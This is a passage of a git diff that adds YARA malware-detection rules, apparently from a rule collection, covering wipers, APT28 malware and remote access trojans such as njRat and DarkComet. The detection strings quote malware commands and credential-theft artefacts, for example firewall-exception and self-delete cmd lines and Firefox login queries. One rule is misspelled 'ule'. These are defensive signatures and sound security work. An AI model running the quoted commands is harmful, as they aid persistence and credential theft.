+       MD5_1 = "58d71fff346017cf8311120c69c9946a"
+       SHA256_1 = "2d29f9ca1d9089ba0399661bb34ba2fd8aba117f04678cd71856d5894aa7150b"
+   strings:
+       $s0 = { 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F }
+       $s1 = { 5C 00 5C 00 25 00 73 00 5C 00 70 00 69 00 70 00 65 00 5C 00 25 00 73 }
+       $s2 = { 64 00 6C 00 6C 00 00 00 2D 00 69 }
+       $s3 = { 2D 00 68 00 00 00 00 00 2D 00 73 }
+       $s4 = { 2D 00 63 00 00 00 00 00 2D 00 61 }
+       $s5 = { 43 6F 6D 6D 61 6E 64 4C 69 6E 65 54 6F 41 72 67 76 57 }
+   condition:
+       all of them
+}
diff --git a/yara-mikesxrs/CISA/HERMETICWIZARD_WORM_CODE.yar b/yara-mikesxrs/CISA/HERMETICWIZARD_WORM_CODE.yar
new file mode 100644
index 0000000..4858849
--- /dev/null
+++ b/yara-mikesxrs/CISA/HERMETICWIZARD_WORM_CODE.yar
@@ -0,0 +1,21 @@
+rule CISA_10376640_05 : trojan wiper worm HERMETICWIZARD
+{
+   meta:
+       Author = "CISA Code & Media Analysis"
+       Incident = "10376640"
+       Date = "2022-04-14"
+       Last_Modified = "20220414_1037"
+       Actor = "n/a"
+       Category = "Trojan Wiper Worm"
+       Family = "HERMETICWIZARD"
+       Description = "Detects Hermetic Wizard samples"
+       Reference = "https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-115b"
+       MD5_1 = "517d2b385b846d6ea13b75b8adceb061"
+       SHA256 = "a259e9b0acf375a8bef8dbc27a8a1996ee02a56889cba07ef58c49185ab033ec"
+   strings:
+       $s0 = { 57 69 7A 61 72 64 2E 64 6C 6C }
+       $s1 = { 69 6E 66 6C 61 74 65 }
+       $s2 = { 4D 61 72 6B 20 41 64 6C 65 72 }
+   condition:
+       all of them and filesize < 2000KB
+}
diff --git a/yara-mikesxrs/CISA/ISAACWIPER.yar b/yara-mikesxrs/CISA/ISAACWIPER.yar
new file mode 100644
index 0000000..f8571f9
--- /dev/null
+++ b/yara-mikesxrs/CISA/ISAACWIPER.yar
@@ -0,0 +1,29 @@
+ule CISA_10376640_01 : trojan wiper ISAACWIPER
+{
+   meta:
+       Author = "CISA Code & Media Analysis"
+       Incident = "10376640"
+       Date = "2022-03-14"
+       Last_Modified = "20220418_1900"
+       Actor = "n/a"
+       Category = "Trojan Wiper"
+       Family = "ISAACWIPER"
+       Description = "Detects ISACC Wiper samples"
+       MD5_1 = "aa98b92e3320af7a1639de1bac6c17cc"
+       SHA256_1 = "abf9adf2c2c21c1e8bd69975dfccb5ca53060d8e1e7271a5e9ef3b56a7e54d9f"
+       MD5_2 = "8061889aaebd955ba6fb493abe7a4de1"
+       SHA256_2 = "afe1f2768e57573757039a40ac40f3c7471bb084599613b3402b1e9958e0d27a"
+       MD5_3 = "ecce8845921a91854ab34bff2623151e"
+       SHA256_3 = "13037b749aa4b1eda538fda26d6ac41c8f7b1d02d83f47b0d187dd645154e033"
+   strings:
+       $s0 = { 73 00 74 00 61 00 72 00 74 00 20 00 65 00 72 00 61 00 73 00 69 00 6E 00 67 }
+       $s1 = { 6C 00 6F 00 67 00 69 00 63 00 61 00 6C }
+       $s2 = { 46 00 41 00 49 00 4C 00 45 00 44 }
+       $s3 = { 5C 00 6C 00 6F 00 67 00 2E 00 74 00 78 00 74 }
+       $s4 = { 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F }
+       $s5 = {53 74 61 72 74 40 34}
+       $s6 = {3B 57 34 74 2D 6A}
+       $s7 = {43 6C 65 61 6E 65 72 2E}
+   condition:
+       all of ($s0,$s1,$s2,$s3,$s4) or all of ($s5,$s6,$s7)
+}
diff --git a/yara-mikesxrs/CISA/ISAACWIPER_BYTES.yar b/yara-mikesxrs/CISA/ISAACWIPER_BYTES.yar
new file mode 100644
index 0000000..83036ad
--- /dev/null
+++ b/yara-mikesxrs/CISA/ISAACWIPER_BYTES.yar
@@ -0,0 +1,30 @@
+rule CISA_10376640_01 : trojan wiper ISAACWIPER
+{
+   meta:
+       Author = "CISA Code & Media Analysis"
+       Incident = "10376640"
+       Date = "2022-03-14"
+       Last_Modified = "20220418_1900"
+       Actor = "n/a"
+       Category = "Trojan Wiper"
+       Family = "ISAACWIPER"
+       Description = "Detects ISACC Wiper samples"
+       Reference = "https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-115b"
+       MD5_1 = "aa98b92e3320af7a1639de1bac6c17cc"
+       SHA256_1 = "abf9adf2c2c21c1e8bd69975dfccb5ca53060d8e1e7271a5e9ef3b56a7e54d9f"
+       MD5_2 = "8061889aaebd955ba6fb493abe7a4de1"
+       SHA256_2 = "afe1f2768e57573757039a40ac40f3c7471bb084599613b3402b1e9958e0d27a"
+       MD5_3 = "ecce8845921a91854ab34bff2623151e"
+       SHA256_3 = "13037b749aa4b1eda538fda26d6ac41c8f7b1d02d83f47b0d187dd645154e033"
+   strings:
+       $s0 = { 73 00 74 00 61 00 72 00 74 00 20 00 65 00 72 00 61 00 73 00 69 00 6E 00 67 }
+       $s1 = { 6C 00 6F 00 67 00 69 00 63 00 61 00 6C }
+       $s2 = { 46 00 41 00 49 00 4C 00 45 00 44 }
+       $s3 = { 5C 00 6C 00 6F 00 67 00 2E 00 74 00 78 00 74 }
+       $s4 = { 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F }
+       $s5 = {53 74 61 72 74 40 34}
+       $s6 = {3B 57 34 74 2D 6A}
+       $s7 = {43 6C 65 61 6E 65 72 2E}
+   condition:
+       all of ($s0,$s1,$s2,$s3,$s4) or all of ($s5,$s6,$s7)
+}
diff --git a/yara-mikesxrs/CSE/APT28_Hospitality.yar b/yara-mikesxrs/CSE/APT28_Hospitality.yar
new file mode 100644
index 0000000..f94e6e0
--- /dev/null
+++ b/yara-mikesxrs/CSE/APT28_Hospitality.yar
@@ -0,0 +1,39 @@
+import "pe"
+
+rule APT28_HospitalityMalware_document {
+ meta:
+ description = "Yara Rule for APT28_Hospitality_Malware document identification"
+ author = "CSE CybSec Enterprise - Z-Lab"
+ last_updated = "2017-10-02"
+ tlp = "white"
+ reference = "http://csecybsec.com/download/zlab/APT28_Hospitality_Malware_report.pdf"
+ category = "informational"
+
+ strings:
+
+ /* this string identifies the malicious payload */
+ $a = {75 52 B9 ED 1B D6 83 0F DB 24 CA 87 4F 5F 25 36 BF 66 BA}
+
+ /* this string identifies the document */
+ $b = {EC 3B 6D 74 5B C5 95 F3 9E 24 5B FE 4A 64 C7 09 CE 07 C9 58 4E 62 3B}
+
+ condition:
+ all of them and filesize > 75KB and filesize < 82KB
+}
+
+rule APT28_HospitalityMalware_mvtband_file {
+ meta:
+ description = "Yara Rule for mvtband.dll malware"
+ author = "CSE CybSec Enterprise - Z-Lab"
+ last_updated = "2017-10-02"
+ tlp = "white"
+ reference = "http://csecybsec.com/download/zlab/APT28_Hospitality_Malware_report.pdf"
+ category = "informational"
+
+ strings:
+ $a = "DGMNOEP"
+ $b = {C7 45 94 0A 25 73 30 8D 45 94} // two significant instructions
+
+ condition:
+ all of them and pe.sections[2].raw_data_size == 0
+}
diff --git a/yara-mikesxrs/CSE/config_decoder_sigs.yar b/yara-mikesxrs/CSE/config_decoder_sigs.yar
new file mode 100644
index 0000000..b036515
--- /dev/null
+++ b/yara-mikesxrs/CSE/config_decoder_sigs.yar
@@ -0,0 +1,629 @@
+rule BlackShades {
+    meta:
+        rule_group = "implant"
+        implant = "BlackShades"
+        
+        description = "BlackShades implant"
+        id = "CSE_900000"
+        organisation = "CSE"
+        poc = "malware_dev@cse"
+        rule_version = "1"
+        yara_version = "3.4"
+        
+        author = "Brian Wallace (@botnet_hunter)"
+        creation_date = "2016-03-23T15:26:52.062158Z"
+        date = "2014/04"
+        family = "blackshades"
+        last_saved_by = "malware_dev"
+        ref = "http://blog.cylance.com/a-study-in-bots-blackshades-net"
+        al_configdumper = "al_services.alsvc_configdecoder.ext.RATDecoders.BlackShades.run"
+        al_configparser = "GenericParser"
+        al_imported_by = "malware_dev"
+        al_status = "DEPLOYED"
+    
+    strings:
+        $string1 = "bal_server"
+        $string2 = "txtChat"
+        $string3 = "UDPFlood"
+    
+    condition:
+        all of them
+    
+}
+
+rule Punisher {
+    meta:
+        rule_group = "implant"
+        implant = "Punisher"
+        
+        description = "Punisher implant"
+        id = "CSE_900002"
+        organisation = "CSE"
+        poc = "malware_dev@cse"
+        rule_version = "1"
+        yara_version = "3.4"
+        
+        author = " Kevin Breen <kevin@techanarchy.net>"
+        creation_date = "2016-03-23T15:26:52.079754Z"
+        date = "2014/04"
+        filetype = "exe"
+        last_saved_by = "malware_dev"
+        maltype = "Remote Access Trojan"
+        ref = "http://malwareconfig.com/stats/Punisher"
+        al_configdumper = "al_services.alsvc_configdecoder.ext.RATDecoders.Punisher.run"
+        al_configparser = "GenericParser"
+        al_imported_by = "malware_dev"
+        al_status = "DEPLOYED"
+    
+    strings:
+        $a = "abccba"
+        $b = {5C 00 68 00 66 00 68 00 2E 00 76 00 62 00 73}
+        $c = {5C 00 73 00 63 00 2E 00 76 00 62 00 73}
+        $d = "SpyTheSpy" wide ascii
+        $e = "wireshark" wide
+        $f = "apateDNS" wide
+        $g = "abccbaDanabccb"
+    
+    condition:
+        all of them
+    
+}
+
+rule gh0st {
+    meta:
+        rule_group = "implant"
+        implant = "gh0st"
+        
+        description = "gh0st implant"
+        id = "CSE_900003"
+        organisation = "CSE"
+        poc = "malware_dev@cse"
+        rule_version = "1"
+        yara_version = "3.4"
+        
+        creation_date = "2016-03-23T15:26:52.087951Z"
+        last_saved_by = "malware_dev"
+        al_configdumper = "al_services.alsvc_configdecoder.ext.RATDecoders.Gh0st.run"
+        al_configparser = "GenericParser"
+        al_imported_by = "malware_dev"
+        al_status = "DEPLOYED"
+    
+    strings:
+        // File 11401249a0e499a3cd2dc147d9600ff8.exe @ 0x00460E80 (2015-11-18)
+        $Match_00460e80 = { 8b 44 24 04 56 8b 70 1c 8b 48 10 8b 56 14 3b d1 76 02 8b d1 85 d2 74 58 8b 76 10 8b ca 53 8b d9 57 8b 78 0c c1 e9 02 f3 a5 8b cb 83 e1 03 f3 a4 8b 78 0c 8b 48 1c 03 fa 89 78 0c 8b 71 10 03 f2 89 71 10 8b 58 14 8b 78 10 8b 48 1c 03 da 2b fa 89 58 14 89 78 10 8b 71 14 5f 2b f2 5b 89 71 14 8b 40 1c 8b 48 14 85 c9 75 06 8b 48 08 89 48 10 5e c3 }
+    
+    condition:
+        all of them
+    
+}
+
+rule Xtreme {
+    meta:
+        rule_group = "implant"
+        implant = "Xtreme"
+        
+        description = "Xtreme implant"
+        id = "CSE_900004"
+        organisation = "CSE"
+        poc = "malware_dev@cse"
+        rule_version = "1"
+        yara_version = "3.4"
+        
+        author = " Kevin Breen <kevin@techanarchy.net>"
+        creation_date = "2016-03-23T15:26:52.095338Z"
+        date = "2014/04"
+        filetype = "exe"
+        last_saved_by = "malware_dev"
+        maltype = "Remote Access Trojan"
+        ref = "http://malwareconfig.com/stats/Xtreme"
+        al_configdumper = "al_services.alsvc_configdecoder.ext.RATDecoders.Xtreme.run"
+        al_configparser = "GenericParser"
+        al_imported_by = "malware_dev"
+        al_status = "DEPLOYED"
+        ver = "2.9, 3.1, 3.2, 3.5"
+    
+    strings:
+        $a = "XTREME" wide
+        $b = "ServerStarted" wide
+        $c = "XtremeKeylogger" wide
+        $d = "x.html" wide
+        $e = "Xtreme RAT" wide
+    
+    condition:
+        all of them
+    
+}
+
+rule Bozok {
+    meta:
+        rule_group = "implant"
+        implant = "Bozok"
+        
+        description = "Bozok implant"
+        id = "CSE_900005"
+        organisation = "CSE"
+        poc = "malware_dev@cse"
+        rule_version = "1"
+        yara_version = "3.4"
+        
+        author = " Kevin Breen <kevin@techanarchy.net>"
+        creation_date = "2016-03-23T15:26:52.101921Z"
+        date = "2014/04"
+        filetype = "exe"
+        last_saved_by = "malware_dev"
+        maltype = "Remote Access Trojan"
+        ref = "http://malwareconfig.com/stats/Bozok"
+        al_configdumper = "al_services.alsvc_configdecoder.ext.RATDecoders.Bozok.run"
+        al_configparser = "GenericParser"
+        al_imported_by = "malware_dev"
+        al_status = "DEPLOYED"
+    
+    strings:
+        $a = "getVer" nocase
+        $b = "StartVNC" nocase
+        $c = "SendCamList" nocase
+        $d = "untPlugin" nocase
+        $e = "gethostbyname" nocase
+    
+    condition:
+        all of them
+    
+}
+
+rule CyberGate {
+    meta:
+        rule_group = "implant"
+        implant = "CyberGate"
+        
+        description = "CyberGate implant"
+        id = "CSE_900006"
+        organisation = "CSE"
+        poc = "malware_dev@cse"
+        rule_version = "1"
+        yara_version = "3.4"
+        
+        author = " Kevin Breen <kevin@techanarchy.net>"
+        creation_date = "2016-03-23T15:26:52.107496Z"
+        date = "2014/04"
+        filetype = "exe"
+        last_saved_by = "malware_dev"
+        maltype = "Remote Access Trojan"
+        ref = "http://malwareconfig.com/stats/CyberGate"
+        al_configdumper = "al_services.alsvc_configdecoder.ext.RATDecoders.CyberGate.run"
+        al_configparser = "GenericParser"
+        al_imported_by = "malware_dev"
+        al_status = "DEPLOYED"
+    
+    strings:
+        $string1 = {23 23 23 23 40 23 23 23 23 E8 EE E9 F9 23 23 23 23 40 23 23 23 23}
+        $string2 = {23 23 23 23 40 23 23 23 23 FA FD F0 EF F9 23 23 23 23 40 23 23 23 23}
+        $string3 = "EditSvr"
+        $string4 = "TLoader"
+        $string5 = "Stroks"
+        $string6 = "####@####"
+        $res1 = "XX-XX-XX-XX"
+        $res2 = "CG-CG-CG-CG"
+    
+    condition:
+        all of ($string*) and any of ($res*)
+    
+}
+
+rule NanoCore {
+    meta:
+        rule_group = "implant"
+        implant = "NanoCore"
+        
+        description = "NanoCore implant"
+        id = "CSE_900007"
+        organisation = "CSE"
+        poc = "malware_dev@cse"
+        rule_version = "1"
+        yara_version = "3.4"
+        
+        author = " Kevin Breen <kevin@techanarchy.net>"
+        creation_date = "2016-03-23T15:26:52.114711Z"
+        date = "2014/04"
+        filetype = "exe"
+        last_saved_by = "malware_dev"
+        maltype = "Remote Access Trojan"
+        ref = "http://malwareconfig.com/stats/NanoCore"
+        al_configdumper = "al_services.alsvc_configdecoder.ext.RATDecoders.NanoCore.run"
+        al_configparser = "GenericParser"
+        al_imported_by = "malware_dev"
+        al_status = "DEPLOYED"
+    
+    strings:
+        $a = "NanoCore"
+        $b = "ClientPlugin"
+        $c = "ProjectData"
+        $d = "DESCrypto"
+        $e = "KeepAlive"
+        $f = "IPNETROW"
+        $g = "LogClientMessage"
+        $h = "|ClientHost"
+        $i = "get_Connected"
+        $j = "#=q"
+        $key = {43 6f 24 cb 95 30 38 39}
+    
+    condition:
+        6 of them
+    
+}
+
+rule xRAT {
+    meta:
+        rule_group = "implant"
+        implant = "xRAT"
+        
+        description = "xRAT implant"
+        id = "CSE_900008"
+        organisation = "CSE"
+        poc = "malware_dev@cse"
+        rule_version = "1"
+        yara_version = "3.4"
+        
+        author = " Kevin Breen <kevin@techanarchy.net>"
+        creation_date = "2016-03-23T15:26:52.120133Z"
+        date = "2014/04"
+        filetype = "exe"
+        last_saved_by = "malware_dev"
+        maltype = "Remote Access Trojan"
+        ref = "http://malwareconfig.com/stats/xRat"
+        al_configdumper = "al_services.alsvc_configdecoder.ext.RATDecoders.xRat.run"
+        al_configparser = "GenericParser"
+        al_imported_by = "malware_dev"
+        al_status = "DEPLOYED"
+    
+    strings:
+        $v1a = "DecodeProductKey"
+        $v1b = "StartHTTPFlood"
+        $v1c = "CodeKey"
+        $v1d = "MESSAGEBOX"
+        $v1e = "GetFilezillaPasswords"
+        $v1f = "DataIn"
+        $v1g = "UDPzSockets"
+        $v1h = {52 00 54 00 5F 00 52 00 43 00 44 00 41 00 54 00 41}
+        $v2a = "<URL>k__BackingField"
+        $v2b = "<RunHidden>k__BackingField"
+        $v2c = "DownloadAndExecute"
+        $v2d = "-CHECK & PING -n 2 127.0.0.1 & EXIT" wide
+        $v2e = "england.png" wide
+        $v2f = "Showed Messagebox" wide
+    
+    condition:
+        all of ($v1*) or all of ($v2*)
+    
+}
+
+rule VirusRat {
+    meta:
+        rule_group = "implant"
+        implant = "VirusRat"
+        
+        description = "VirusRat implant"
+        id = "CSE_900009"
+        organisation = "CSE"
+        poc = "malware_dev@cse"
+        rule_version = "1"
+        yara_version = "3.4"
+        
+        author = " Kevin Breen <kevin@techanarchy.net>"
+        creation_date = "2016-03-23T15:26:52.125583Z"
+        date = "2014/04"
+        filetype = "exe"
+        last_saved_by = "malware_dev"
+        maltype = "Remote Access Trojan"
+        ref = "http://malwareconfig.com/stats/VirusRat"
+        al_configdumper = "al_services.alsvc_configdecoder.ext.RATDecoders.VirusRat.run"
+        al_configparser = "GenericParser"
+        al_imported_by = "malware_dev"
+        al_status = "DEPLOYED"
+    
+    strings:
+        $string0 = "virustotal"
+        $string1 = "virusscan"
+        $string2 = "abccba"
+        $string3 = "pronoip"
+        $string4 = "streamWebcam"
+        $string5 = "DOMAIN_PASSWORD"
+        $string6 = "Stub.Form1.resources"
+        $string7 = "ftp://{0}@{1}" wide
+        $string8 = "SELECT * FROM moz_logins" wide
+        $string9 = "SELECT * FROM moz_disabledHosts" wide
+        $string10 = "DynDNS\\Updater\\config.dyndns" wide
+        $string11 = "|BawaneH|" wide
+    
+    condition:
+        all of them
+    
+}
+
+rule LuxNet {
+    meta:
+        rule_group = "implant"
+        implant = "LuxNet"
+        
+        description = "LuxNet implant"
+        id = "CSE_900010"
+        organisation = "CSE"
+        poc = "malware_dev@cse"
+        rule_version = "1"
+        yara_version = "3.4"
+        
+        author = " Kevin Breen <kevin@techanarchy.net>"
+        creation_date = "2016-03-23T15:26:52.131170Z"
+        date = "2014/04"
+        filetype = "exe"
+        last_saved_by = "malware_dev"
+        maltype = "Remote Access Trojan"
+        ref = "http://malwareconfig.com/stats/LuxNet"
+        al_configdumper = "al_services.alsvc_configdecoder.ext.RATDecoders.LuxNet.run"
+        al_configparser = "GenericParser"
+        al_imported_by = "malware_dev"
+        al_status = "DEPLOYED"
+    
+    strings:
+        $a = "GetHashCode"
+        $b = "Activator"
+        $c = "WebClient"
+        $d = "op_Equality"
+        $e = "dickcursor.cur" wide
+        $f = "{0}|{1}|{2}" wide
+    
+    condition:
+        all of them
+    
+}
+
+rule njRat {
+    meta:
+        rule_group = "implant"
+        implant = "njRat"
+        
+        description = "njRat implant"
+        id = "CSE_900011"
+        organisation = "CSE"
+        poc = "malware_dev@cse"
+        rule_version = "1"
+        yara_version = "3.4"
+        
+        author = " Kevin Breen <kevin@techanarchy.net>"
+        creation_date = "2016-03-23T15:26:52.138482Z"
+        date = "2014/04"
+        filetype = "exe"
+        last_saved_by = "malware_dev"
+        maltype = "Remote Access Trojan"
+        ref = "http://malwareconfig.com/stats/njRat"
+        al_configdumper = "al_services.alsvc_configdecoder.ext.RATDecoders.njRat.run"
+        al_configparser = "GenericParser"
+        al_imported_by = "malware_dev"
+        al_status = "DEPLOYED"
+    
+    strings:
+        $s1 = {7C 00 27 00 7C 00 27 00 7C} // |'|'|
+        $s2 = "netsh firewall add allowedprogram" wide
+        $s3 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" wide
+        $s4 = "yyyy-MM-dd" wide
+        $v1 = "cmd.exe /k ping 0 & del" wide
+        $v2 = "cmd.exe /c ping 127.0.0.1 & del" wide
+        $v3 = "cmd.exe /c ping 0 -n 2 & del" wide
+    
+    condition:
+        all of ($s*) and any of ($v*)
+    
+}
+
+rule Pandora {
+    meta:
+        rule_group = "implant"
+        implant = "Pandora"
+        
+        description = "Pandora implant"
+        id = "CSE_900012"
+        organisation = "CSE"
+        poc = "malware_dev@cse"
+        rule_version = "1"
+        yara_version = "3.4"
+        
+        author = " Kevin Breen <kevin@techanarchy.net>"
+        creation_date = "2016-03-23T15:26:52.144083Z"
+        date = "2014/04"
+        filetype = "exe"
+        last_saved_by = "malware_dev"
+        maltype = "Remote Access Trojan"
+        ref = "http://malwareconfig.com/stats/Pandora"
+        al_configdumper = "al_services.alsvc_configdecoder.ext.RATDecoders.Pandora.run"
+        al_configparser = "GenericParser"
+        al_imported_by = "malware_dev"
+        al_status = "DEPLOYED"
+    
+    strings:
+        $a = "Can't get the Windows version"
+        $b = "=M=Q=U=Y=]=a=e=i=m=q=u=y=}="
+        $c = "JPEG error #%d" wide
+        $d = "Cannot assign a %s to a %s" wide
+        $g = "%s, ProgID:"
+        $h = "clave"
+        $i = "Shell_TrayWnd"
+        $j = "melt.bat"
+        $k = "\\StubPath"
+        $l = "\\logs.dat"
+        $m = "1027|Operation has been canceled!"
+        $n = "466|You need to plug-in! Double click to install... |"
+        $0 = "33|[Keylogger Not Activated!]"
+    
+    condition:
+        all of them
+    
+}
+
+rule njrat: rat {
+    meta:
+        rule_group = "implant"
+        implant = "njrat"
+        
+        description = "tested against NjRat versions 0.3.6 - 0.7d"
+        id = "CSE_900013"
+        organisation = "CSE"
+        poc = "malware_dev@cse"
+        rule_version = "1"
+        yara_version = "3.4"
+        
+        author = "Daniel Plohmann <daniel.plohmann<at>fkie.fraunhofer.de>"
+        creation_date = "2016-03-23T15:26:52.150257Z"
+        date = "2015-11-18"
+        last_saved_by = "malware_dev"
+        sample = "unpacked: 2b96518a66d251fedb39264e668f588c (0.7d)"
+        al_configdumper = "external.geekweek.batchNjRat.getConfig"
+        al_configparser = "GenericParser"
+        al_imported_by = "malware_dev"
+        al_status = "DEPLOYED"
+        type = "info"
+        updated = "2015-11-18"
+        version = "1"
+    
+    strings:
+        $cnc_traffic_0 = {7C 00 27 00 7C 00 27 00 7C} // looks like: |'|'|
+        $rights_0 = "netsh firewall add allowedprogram \"" wide
+        $rights_1 = "netsh firewall delete allowedprogram \"" wide
+    
+    condition:
+        (all of ($cnc_traffic_*)) and (all of ($rights_*))
+    
+}
+
+rule darkcomet51: rat {
+    meta:
+        rule_group = "implant"
+        implant = "darkcomet51"
+        
+        description = "DarkComet RAT version 5.1"
+        id = "CSE_900015"
+        organisation = "CSE"
+        poc = "malware_dev@cse"
+        rule_version = "1"
+        yara_version = "3.4"
+        
+        author = "CCIRC"
+        creation_date = "2016-03-23T15:26:52.162005Z"
+        date = "2015-11-16"
+        last_saved_by = "malware_dev"
+        al_configparser = "DarkComet51"
+        al_imported_by = "malware_dev"
+        al_status = "DEPLOYED"
+    
+    strings:
+        $config = "D57ABA5857F0AFF67584605E90BE4665C9814BEEC7E"
+    
+    condition:
+        any of them
+    
+}
+
+rule PoisonIvy {
+    meta:
+        rule_group = "implant"
+        implant = "PoisonIvy"
+        
+        description = "PoisonIvy implant"
+        id = "CSE_900016"
+        organisation = "CSE"
+        poc = "malware_dev@cse"
+        rule_version = "1"
+        yara_version = "3.4"
+        
+        author = " Kevin Breen <kevin@techanarchy.net>"
+        creation_date = "2016-03-23T15:26:52.166521Z"
+        date = "2014/04"
+        filetype = "exe"
+        last_saved_by = "malware_dev"
+        maltype = "Remote Access Trojan"
+        ref = "http://malwareconfig.com/stats/PoisonIvy"
+        al_configdumper = "al_services.alsvc_configdecoder.ext.RATDecoders.PoisonIvy.run"
+        al_configparser = "GenericParser"
+        al_imported_by = "malware_dev"
+        al_status = "DEPLOYED"
+    
+    strings:
+        $stub = {04 08 00 53 74 75 62 50 61 74 68 18 04}
+        $string1 = "CONNECT %s:%i HTTP/1.0"
+        $string2 = "ws2_32"
+        $string3 = "cks=u"
+        $string4 = "thj@h"
+        $string5 = "advpack"
+    
+    condition:
+        $stub at 0x1620 and all of ($string*) or (all of them)
+    
+}
+
+rule DarkComet {
+    meta:
+        rule_group = "implant"
+        implant = "DarkComet"
+        
+        description = "DarkComet implant"
+        id = "CSE_900001"
+        organisation = "CSE"
+        poc = "malware_dev@cse"
+        rule_version = "1"
+        yara_version = "3.4"
+        
+        author = " Kevin Breen <kevin@techanarchy.net>"
+        creation_date = "2016-03-23T15:26:52.071996Z"
+        date = "2014/04"
+        filetype = "exe"
+        last_saved_by = "malware_dev"
+        maltype = "Remote Access Trojan"
+        ref = "http://malwareconfig.com/stats/DarkComet"
+        al_configdumper = "al_services.alsvc_configdecoder.ext.RATDecoders.DarkComet.run"
+        al_configparser = "GenericParser"
+        al_imported_by = "malware_dev"
+        al_status = "DEPLOYED"
+    
+    strings:
+        // Versions 2x
+        $a1 = "#BOT#URLUpdate"
+        $a2 = "Command successfully executed!"
+        $a3 = "MUTEXNAME" wide
+        $a4 = "NETDATA" wide
+        // Versions 3x & 4x & 5x
+        $b1 = "FastMM Borland Edition"
+        $b2 = "%s, ClassID: %s"
+        $b3 = "I wasn't able to open the hosts file"
+        $b4 = "#BOT#VisitUrl"
+        $b5 = "#KCMDDC"
+    
+    condition:
+        (all of ($a*) or all of ($b*)) and not darkcomet51
+    
+}
+
+rule darkcomet_rc4 {
+    meta:
+        rule_group = "implant"
+        implant = "darkcomet_rc4"
+        
+        description = "darkcomet_rc4 implant"
+        id = "CSE_900014"
+        organisation = "CSE"
+        poc = "malware_dev@cse"
+        rule_version = "1"
+        yara_version = "3.4"
+        
+        creation_date = "2016-03-23T15:26:52.155838Z"
+        last_saved_by = "malware_dev"
+        al_configdumper = "al_services.alsvc_configdecoder.ext.RATDecoders.DarkComet.run"
+        al_configparser = "GenericParser"
+        al_imported_by = "malware_dev"
+        al_status = "DEPLOYED"
+    
+    strings:
+        // File 175e27f2e47674e51cb20d9daa8a30c4 @ 0x468438 (2015-11-16)
+        $darkcomet_rc4 = { 55 8B EC 81 C4 E0 FB FF FF 53 56 57 33 DB 89 9D E0 FB FF FF 89 5D F4 89 5D F0 89 4D EC 89 55 F8 89 45 FC 8B 45 FC E8 ?? ?? ?? ?? 8B 45 F8 E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8B 45 F8 85 C0 74 05 83 E8 04 8B 00 85 C0 0F 84 3E 02 00 00 8B 45 FC 85 C0 74 05 83 E8 04 8B 00 85 C0 0F 84 2A 02 00 00 8D 95 E0 FB FF FF 8B 45 FC E8 ?? ?? ?? ?? 8B 95 E0 FB FF FF 8D 45 FC E8 ?? ?? ?? ?? 8B 55 F8 8B C2 85 C0 74 05 83 E8 04 8B 00 3D 00 01 00 00 7E 34 68 00 01 00 00 8D 45 F4 B9 01 00 00 00 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 8D 45 F8 E8 ?? ?? ?? ?? 8B D0 8B 45 F4 B9 00 01 00 00 E8 ?? ?? ?? ?? EB 42 8B DA 85 DB 74 05 83 EB 04 8B 1B 53 8D 45 F4 B9 01 00 00 00 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 8B 5D F8 85 DB 74 05 83 EB 04 8B 1B 8D 45 F8 E8 ?? ?? ?? ?? 8B D0 8B 45 F4 8B CB E8 ?? ?? ?? ?? 33 F6 8D 85 E4 FB FF FF 89 30 46 83 C0 04 81 FE 00 01 00 00 75 F2 33 DB 33 F6 8D 8D E4 FB FF FF 8B 7D F8 85 FF 74 05 83 EF 04 8B 3F 8B C6 99 F7 FF 8B 45 F4 0F B6 04 10 03 19 03 C3 25 FF 00 00 80 79 07 48 0D 00 FF FF FF 40 8B D8 0F B6 01 88 45 EB 8B 84 9D E4 FB FF FF 89 01 0F B6 45 EB 89 84 9D E4 FB FF FF 46 83 C1 04 81 FE 00 01 00 00 75 AE 33 DB 33 FF 8B 75 FC 85 F6 74 05 83 EE 04 8B 36 56 8D 45 F0 B9 01 00 00 00 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 8B 75 FC 85 F6 74 05 83 EE 04 8B 36 8D 45 FC E8 ?? ?? ?? ?? 8B D0 8B 45 F0 8B CE E8 ?? ?? ?? ?? 8B 45 FC 85 C0 74 05 83 E8 04 8B 00 48 85 C0 0F 8C 82 00 00 00 40 89 45 E4 33 F6 43 81 E3 FF 00 00 80 79 08 4B 81 CB 00 FF FF FF 43 03 BC 9D E4 FB FF FF 81 E7 FF 00 00 80 79 08 4F 81 CF 00 FF FF FF 47 0F B6 84 9D E4 FB FF FF 88 45 EB 8B 84 BD E4 FB FF FF 89 84 9D E4 FB FF FF 0F B6 45 EB 89 84 BD E4 FB FF FF 8B 84 9D E4 FB FF FF 03 84 BD E4 FB FF FF 25 FF 00 00 80 79 07 48 0D 00 FF FF FF 40 0F B6 84 85 E4 FB FF FF 8B 55 F0 30 04 32 46 FF 4D E4 75 84 8B 45 FC 85 C0 74 05 83 E8 04 8B 00 8B 55 EC 92 E8 ?? ?? ?? ?? 8B 5D FC 85 DB 74 05 83 EB 04 8B 1B 8B 45 EC E8 ?? ?? ?? ?? 8B 55 F0 8B CB E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 E0 FB FF FF E8 ?? ?? ?? ?? 8D 45 F0 8B 15 ?? ?? ?? ?? B9 02 00 00 00 E8 ?? ?? ?? ?? 8D 45 F8 BA 02 00 00 00 E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB CD 5F 5E 5B 8B E5 5D C3 }
+    
+    condition:
+        $darkcomet_rc4 and not darkcomet51
+    
+}
diff --git a/yara-mikesxrs/Cado Security/Lambda_Malware.yar b/yara-mikesxrs/Cado Security/Lambda_Malware.yar
new file mode 100644
index 0000000..194c6f9
--- /dev/null
+++ b/yara-mikesxrs/Cado Security/Lambda_Malware.yar	
@@ -0,0 +1,17 @@
+rule lambda_malware
+{
+    meta:
+        description = "Detects AWS Lambda Malware"
+        author = "cdoman@cadosecurity.com"
